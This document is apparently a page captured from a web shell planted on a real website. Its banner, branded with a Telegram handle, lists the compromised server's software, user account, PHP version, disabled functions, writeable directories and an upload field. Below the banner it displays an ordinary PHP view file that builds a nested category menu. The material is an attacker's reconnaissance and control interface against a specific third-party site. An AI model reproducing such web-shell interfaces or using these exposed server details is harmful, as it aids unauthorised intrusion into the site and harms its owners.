https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/asietex.co.id/public_html/application/modules/category_column/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/asietex.co.id/public_html/application/modules/category_column/views/category_column.php
<ul class="list-unstyled category-list">

    <?php foreach ($categories as $category) : ?>

        <li><a style="color:black; font-size:14px; font-weight:bold; color:#494949;" href="<?= base_url() . 'category/' . $category->alias; ?>"><?= ucwords($category->category); ?></a></li>

        <?php 
            //check if the current id does have child
            $this->db->select('*')->from('categories')->where('parent', $category->id_categories);
            $count_child_category = $this->db->get()->num_rows();
        ?>

        <?php if ($count_child_category > 0): ?>
            
            <?php 
            //get all existing child categories 
            $this->db->select('id_categories, category, alias')->from('categories')->where('parent', $category->id_categories)->order_by('priority', 'ASC');
            $child_categories = $this->db->get()->result(); 
            ?>  

            <?php foreach ($child_categories as $child_category) : ?>
            
                <li style="background-image:none;"><a href="<?= base_url() . 'category/' . $category->alias . '/' . $child_category->alias; ?>"><i class="fa fa-angle-right" aria-hidden="true"></i>  <?= ucwords($child_category->category); ?></a>
                <?php 
                    //check if the current id does have child
                    $this->db->select('*')->from('categories')->where('parent', $child_category->id_categories);
                    $count_child2_category = $this->db->get()->num_rows();
                ?>

                <?php if ($count_child2_category > 0): ?>
                    <?php 
                    //get all existing child categories 
                    $this->db->select('id_categories, category, alias')->from('categories')->where('parent', $child_category->id_categories)->order_by('priority', 'ASC');
                    $child2_categories = $this->db->get()->result(); 
                    ?> 
                    <?php foreach ($child2_categories as $child2_category) : ?>	
                        <li style="background-image:none;"><a href="<?= base_url() . 'category/' . $category->alias . '/' . $child_category->alias . '/' . $child2_category->alias; ?>"><i class="fa fa-angle-right" aria-hidden="true"></i> <i class="fa fa-angle-right" aria-hidden="true"></i>  <?= ucwords($child2_category->category); ?></a>
                    <?php endforeach; ?>

                <?php endif; ?>
                </li>

            <?php endforeach; ?>

        <?php endif ?>
        
    <?php endforeach; ?>
</ul><!-- category list end here -->

https://t.me/RX1948 - 2025